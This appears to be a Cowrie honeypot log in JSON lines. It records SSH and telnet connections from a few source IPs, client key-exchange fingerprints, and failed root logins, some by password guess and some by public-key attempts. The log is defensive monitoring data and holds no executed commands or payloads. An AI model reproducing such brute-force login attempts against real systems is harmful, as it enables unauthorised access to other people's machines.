{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:51.096397Z","src_ip":"37.233.85.71","session":"d63723e1e966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21061989","message":"login attempt [root/21061989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:51.424180Z","src_ip":"37.233.85.71","session":"d63723e1e966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:52.536714Z","src_ip":"37.233.85.71","session":"d63723e1e966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.32520890235901,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:59.097079Z","src_ip":"135.148.14.151","session":"6924bc27a2ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.371601819992065,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:09:59.758787Z","src_ip":"135.148.14.151","session":"ed42ecbac90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1f8e9b2012","protocol":"telnet","message":"New connection: 135.148.14.151:44716 (159.203.135.109:23) [session: ea1f8e9b2012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:03.740469Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46952,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a3a41a66e1","protocol":"telnet","message":"New connection: 135.148.14.151:46952 (159.203.135.109:23) [session: e6a3a41a66e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:10.528870Z"}
{"eventid":"cowrie.session.closed","duration":38.82048678398132,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:16.749367Z","src_ip":"135.148.14.151","session":"57beb107c7cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04929852485657,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:22.961651Z","src_ip":"135.148.14.151","session":"d4ea21a29f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":58738,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dad2e5ed729","protocol":"ssh","message":"New connection: 38.96.178.216:58738 (10.17.0.5:22) [session: 0dad2e5ed729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:38.997692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.003377Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.011953Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:4e:5b:97:e8:4d:f9:23:59:b1:78:c3:40:c5:1b:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfWgDEpCWrV9ozjdCGwnwhRVWJW/fjpe/gbFqOJNfSWGULC43iPxqC/BIMdIBFN6fJZT/NeITns93p0VoyqJCI3ylzys6v5Px8rAvHxVsuAcZRR5d/cnIXedhqvozlT2/Wuxb7jcrpJ0/Trnq8E2T/8DvKGQ37b+zJH/Hwr3b0P4bcYECe9BsZ1znFrmsKsERtsKtjWRueTqRycyx0Yh++LJv0Q0PfPNlmDFPX/sVAt9MqHfqqJHT6QGZRHw9iz6d9eooL68H9akFtEpKqfNVNR5/Pust+89YaJjHtjiassm7kSg+DoprOxu0cXb9ooeMFbnsNPS/nI09jfFJ+XCdR1+a05IcsmzQxJ0oaNjDczu/LjJ4idZLNKklCpHa2R3MJLDDqGt/w5PLVXLqTA6Fvo8WaTO+Qt9r/agejxFoTeTCLu406jOo4TJhZMoKY+Aq7VaOLvpApzrY1HA54pFk/jkgGVN8YTUhjqUZ2MPShn9FyKdpEwiQk1fXwEm7ZRkgqn2+BEIAsMK7VAB3zcDZ3nv8rF004Amocng3pgrw1cvNZ+akobvlhe0dqAzjamxJeqDxrO3IdmW1Mb0Wte1a2q5+dNS6ImU0EzQE9tFxlcgTBpFPQ5cECor7mHvEahOmIPcjJYENRQzeGvyLAV9sVcoMJKmL+oQf+h7+VdqUtMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:4e:5b:97:e8:4d:f9:23:59:b1:78:c3:40:c5:1b:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.029655Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:4e:5b:97:e8:4d:f9:23:59:b1:78:c3:40:c5:1b:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfWgDEpCWrV9ozjdCGwnwhRVWJW/fjpe/gbFqOJNfSWGULC43iPxqC/BIMdIBFN6fJZT/NeITns93p0VoyqJCI3ylzys6v5Px8rAvHxVsuAcZRR5d/cnIXedhqvozlT2/Wuxb7jcrpJ0/Trnq8E2T/8DvKGQ37b+zJH/Hwr3b0P4bcYECe9BsZ1znFrmsKsERtsKtjWRueTqRycyx0Yh++LJv0Q0PfPNlmDFPX/sVAt9MqHfqqJHT6QGZRHw9iz6d9eooL68H9akFtEpKqfNVNR5/Pust+89YaJjHtjiassm7kSg+DoprOxu0cXb9ooeMFbnsNPS/nI09jfFJ+XCdR1+a05IcsmzQxJ0oaNjDczu/LjJ4idZLNKklCpHa2R3MJLDDqGt/w5PLVXLqTA6Fvo8WaTO+Qt9r/agejxFoTeTCLu406jOo4TJhZMoKY+Aq7VaOLvpApzrY1HA54pFk/jkgGVN8YTUhjqUZ2MPShn9FyKdpEwiQk1fXwEm7ZRkgqn2+BEIAsMK7VAB3zcDZ3nv8rF004Amocng3pgrw1cvNZ+akobvlhe0dqAzjamxJeqDxrO3IdmW1Mb0Wte1a2q5+dNS6ImU0EzQE9tFxlcgTBpFPQ5cECor7mHvEahOmIPcjJYENRQzeGvyLAV9sVcoMJKmL+oQf+h7+VdqUtMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.033958Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:3d:1e:81:a2:4a:46:19:8e:14:e5:d6:b6:a9:ec:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyGnq9KdXjllFixCgcbt/3iK7dyJt9O9Hi1muh9Rimrwpdiu7+napCjoIuRN3fpQsFZ9wdv6lpHSGusxF4mwkwuNIhM0dbZVjaAg92GemrO349aCFU6l0/yoAKtTC5twChxDjhqLY7YJD1sZO6F8aIAH6jmQ7nctXXYDdfLZAtg8lYjFXpw97V0vEaVW4rFPjeGxua9bWs1e9iCvvOF6ezA8Ug1DYf/96MZiwWl9fhhXHR+ow9zB58ZqTRtJ2cysgg9iNDnSjwFT4+57IvbMERvFRh22+n/1vwKXSBFMclTyK2Ovj4Supwn8Iw+QytQvKPBT17BklD7mmv7CjbQZSR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:3d:1e:81:a2:4a:46:19:8e:14:e5:d6:b6:a9:ec:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.046289Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:3d:1e:81:a2:4a:46:19:8e:14:e5:d6:b6:a9:ec:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyGnq9KdXjllFixCgcbt/3iK7dyJt9O9Hi1muh9Rimrwpdiu7+napCjoIuRN3fpQsFZ9wdv6lpHSGusxF4mwkwuNIhM0dbZVjaAg92GemrO349aCFU6l0/yoAKtTC5twChxDjhqLY7YJD1sZO6F8aIAH6jmQ7nctXXYDdfLZAtg8lYjFXpw97V0vEaVW4rFPjeGxua9bWs1e9iCvvOF6ezA8Ug1DYf/96MZiwWl9fhhXHR+ow9zB58ZqTRtJ2cysgg9iNDnSjwFT4+57IvbMERvFRh22+n/1vwKXSBFMclTyK2Ovj4Supwn8Iw+QytQvKPBT17BklD7mmv7CjbQZSR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.049845Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:b7:9e:a7:30:47:b4:f8:98:ec:48:3c:f0:73:75:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC10LlVvZsr+Nwoxh8UjNw5kYhC7gncfZK0EwBzOIoQnrqqGiqgXhY0HylMjfDkzhggBjm3XLRGCzVHlkGwm3hJ06f33IrMEayMq6OZiX9ddcqZ/gB/ynaCG32buf5FKgcE6J4AuqDMXg/XxCR5X5QjsNfACYymQsxwrwpjhXY0PfSoYcS+jAUrGLGzdfOxYwMxHd/HoFm1NL1g/OZQhccLqiXfucPEtNCmEDDt5cJxkfDmAQ+43gJcQlTxchTnewmPjYJBsM1RC0S+QPW7M8OG9wP/DuVSj5+WgHy/XWFZ8NKqB3253vzUn75FAFTwChyQpv+dfY3477Fef4WdQ28dv3KV2vBtOKAk2Bkn8+lXSgPG6iNcmbeEdTYaFkZ+xAe1xoN/WzS9yzwd9QsRQ3s/P/+LPg7g5rAHVJTEknVkDEllPeyAEBqSpuStYIfonyc4MuYohZV58av65eM5BzmVQRdIItXctADMJ//56s+sNOnaezKDvoAZvXGJZ88ISjUOSwVKnOq8MGRCJUT2yjD+376zoKRpfBeEsxDL22BtPqtnq+hjsJmjPNGM2j78mCxLJup94lhPZr3HVePDLdLpl4CsTPSS4w9HCpBTPVws1RXjRALxBtJdvLLhRMBNrFNjqSt9FhAm5UGTJaKGo29ZyOrG/CbptiFeM6sulDYdfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:b7:9e:a7:30:47:b4:f8:98:ec:48:3c:f0:73:75:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.056844Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:b7:9e:a7:30:47:b4:f8:98:ec:48:3c:f0:73:75:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC10LlVvZsr+Nwoxh8UjNw5kYhC7gncfZK0EwBzOIoQnrqqGiqgXhY0HylMjfDkzhggBjm3XLRGCzVHlkGwm3hJ06f33IrMEayMq6OZiX9ddcqZ/gB/ynaCG32buf5FKgcE6J4AuqDMXg/XxCR5X5QjsNfACYymQsxwrwpjhXY0PfSoYcS+jAUrGLGzdfOxYwMxHd/HoFm1NL1g/OZQhccLqiXfucPEtNCmEDDt5cJxkfDmAQ+43gJcQlTxchTnewmPjYJBsM1RC0S+QPW7M8OG9wP/DuVSj5+WgHy/XWFZ8NKqB3253vzUn75FAFTwChyQpv+dfY3477Fef4WdQ28dv3KV2vBtOKAk2Bkn8+lXSgPG6iNcmbeEdTYaFkZ+xAe1xoN/WzS9yzwd9QsRQ3s/P/+LPg7g5rAHVJTEknVkDEllPeyAEBqSpuStYIfonyc4MuYohZV58av65eM5BzmVQRdIItXctADMJ//56s+sNOnaezKDvoAZvXGJZ88ISjUOSwVKnOq8MGRCJUT2yjD+376zoKRpfBeEsxDL22BtPqtnq+hjsJmjPNGM2j78mCxLJup94lhPZr3HVePDLdLpl4CsTPSS4w9HCpBTPVws1RXjRALxBtJdvLLhRMBNrFNjqSt9FhAm5UGTJaKGo29ZyOrG/CbptiFeM6sulDYdfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.060728Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:fc:f7:23:3c:42:58:89:36:22:c1:a2:d2:53:c9:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqBCsaEiO54LeL82sXx8UKhZ+65T7DAWieBtNOukq+1JKNX/da5VtIPyZ3gTA4kMyaVf1jrk8m+doOwIot16xWNkXZCy7MV3EqlFlaBYktWDME98PDPHOB4nRcDkrfNJOaQiq1tj39YhJ1W1tQ6u8kUejAtBGoO3zpjPUi9yqd83sjUr/JXc/Cj3dg9raSIThfvaLEk4ale/LAKaiOgGNaMcd86mcGpjX7+wCy1BF3q2ibirDKc0ueiPqNq+fW5dGGRMppIL8H238RNz59APdJYZASYB04TuWHND2J3ORyCnqsAXgzQ3qT48c08xsfyCkNrbZCOH84EVBlQZCGB5cd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:fc:f7:23:3c:42:58:89:36:22:c1:a2:d2:53:c9:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.071371Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:fc:f7:23:3c:42:58:89:36:22:c1:a2:d2:53:c9:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqBCsaEiO54LeL82sXx8UKhZ+65T7DAWieBtNOukq+1JKNX/da5VtIPyZ3gTA4kMyaVf1jrk8m+doOwIot16xWNkXZCy7MV3EqlFlaBYktWDME98PDPHOB4nRcDkrfNJOaQiq1tj39YhJ1W1tQ6u8kUejAtBGoO3zpjPUi9yqd83sjUr/JXc/Cj3dg9raSIThfvaLEk4ale/LAKaiOgGNaMcd86mcGpjX7+wCy1BF3q2ibirDKc0ueiPqNq+fW5dGGRMppIL8H238RNz59APdJYZASYB04TuWHND2J3ORyCnqsAXgzQ3qT48c08xsfyCkNrbZCOH84EVBlQZCGB5cd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.075566Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:33:f3:63:72:12:dc:78:76:c9:12:6c:df:6a:fa:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL7rrMAdW+IyWiXKw09tl7JntxHKA7cFogelneOPrla5DtqQ/KAtrgBvt9pulm5fYET5FhL3vk7nwOJNgScNI9LgFZPhJGZQ01WrJhEM853WTuFot7/V1MSCheVaPaHYqS38ErHZez5o+jeNqI9900t9I0Y2IUPsgdyMpzgSQaKsAIws+3giErUZso+IQxfapIIdl7bpmST11WgK5yMfR8tNNF+WlGakhRBlCg1X3AG0ES8CSZuKw62nxKPI7PtcqxMZtQPSAC8L20TwstegZwgcCkz6o91hsDEeZJTGcpEKljH/lTNWiEI1ctY0ixHNuUMm8mYNW7h62g4XxfNwL9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:33:f3:63:72:12:dc:78:76:c9:12:6c:df:6a:fa:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.087061Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:33:f3:63:72:12:dc:78:76:c9:12:6c:df:6a:fa:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL7rrMAdW+IyWiXKw09tl7JntxHKA7cFogelneOPrla5DtqQ/KAtrgBvt9pulm5fYET5FhL3vk7nwOJNgScNI9LgFZPhJGZQ01WrJhEM853WTuFot7/V1MSCheVaPaHYqS38ErHZez5o+jeNqI9900t9I0Y2IUPsgdyMpzgSQaKsAIws+3giErUZso+IQxfapIIdl7bpmST11WgK5yMfR8tNNF+WlGakhRBlCg1X3AG0ES8CSZuKw62nxKPI7PtcqxMZtQPSAC8L20TwstegZwgcCkz6o91hsDEeZJTGcpEKljH/lTNWiEI1ctY0ixHNuUMm8mYNW7h62g4XxfNwL9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.090672Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:39.098644Z","src_ip":"38.96.178.216","session":"0dad2e5ed729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65224361419678,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:40.392569Z","src_ip":"135.148.14.151","session":"ea1f8e9b2012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.840184450149536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:46.368918Z","src_ip":"135.148.14.151","session":"e6a3a41a66e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0050699710846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:50.352865Z","src_ip":"179.102.17.221","session":"80ed9e35dbcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00088334083557,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:50.521159Z","src_ip":"179.102.17.221","session":"d398ba32ebb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39590,"dst_ip":"159.203.135.109","dst_port":23,"session":"0965eb5bf262","protocol":"telnet","message":"New connection: 135.148.14.151:39590 (159.203.135.109:23) [session: 0965eb5bf262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:10:54.925230Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45160,"dst_ip":"159.203.135.109","dst_port":23,"session":"de5ce6a46177","protocol":"telnet","message":"New connection: 135.148.14.151:45160 (159.203.135.109:23) [session: de5ce6a46177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:09.444310Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dd0163db8ba","protocol":"telnet","message":"New connection: 179.102.17.221:39724 (159.203.135.109:23) [session: 9dd0163db8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:13.361907Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5230fc74a0b","protocol":"telnet","message":"New connection: 135.148.14.151:50904 (159.203.135.109:23) [session: a5230fc74a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:21.746057Z"}
{"eventid":"cowrie.session.closed","duration":31.290099143981934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:26.215186Z","src_ip":"135.148.14.151","session":"0965eb5bf262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"6405b4daa0a8","protocol":"telnet","message":"New connection: 135.148.14.151:33042 (159.203.135.109:23) [session: 6405b4daa0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:37.524692Z"}
{"eventid":"cowrie.session.closed","duration":35.958232164382935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:45.402357Z","src_ip":"135.148.14.151","session":"de5ce6a46177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36922,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0db121037b9","protocol":"telnet","message":"New connection: 135.148.14.151:36922 (159.203.135.109:23) [session: e0db121037b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:49.040352Z"}
{"eventid":"cowrie.session.closed","duration":31.330663919448853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:53.076600Z","src_ip":"135.148.14.151","session":"a5230fc74a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40194,"dst_ip":"159.203.135.109","dst_port":23,"session":"7581189110ac","protocol":"telnet","message":"New connection: 135.148.14.151:40194 (159.203.135.109:23) [session: 7581189110ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:11:53.460415Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44440,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67dd92fac67","protocol":"telnet","message":"New connection: 135.148.14.151:44440 (159.203.135.109:23) [session: c67dd92fac67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:04.203147Z"}
{"eventid":"cowrie.session.closed","duration":34.683730363845825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:12.208300Z","src_ip":"135.148.14.151","session":"6405b4daa0a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53138,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bbb42b5d559","protocol":"telnet","message":"New connection: 135.148.14.151:53138 (159.203.135.109:23) [session: 6bbb42b5d559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:22.614461Z"}
{"eventid":"cowrie.session.closed","duration":35.21434044837952,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:24.254578Z","src_ip":"135.148.14.151","session":"e0db121037b9","protocol":"telnet"}
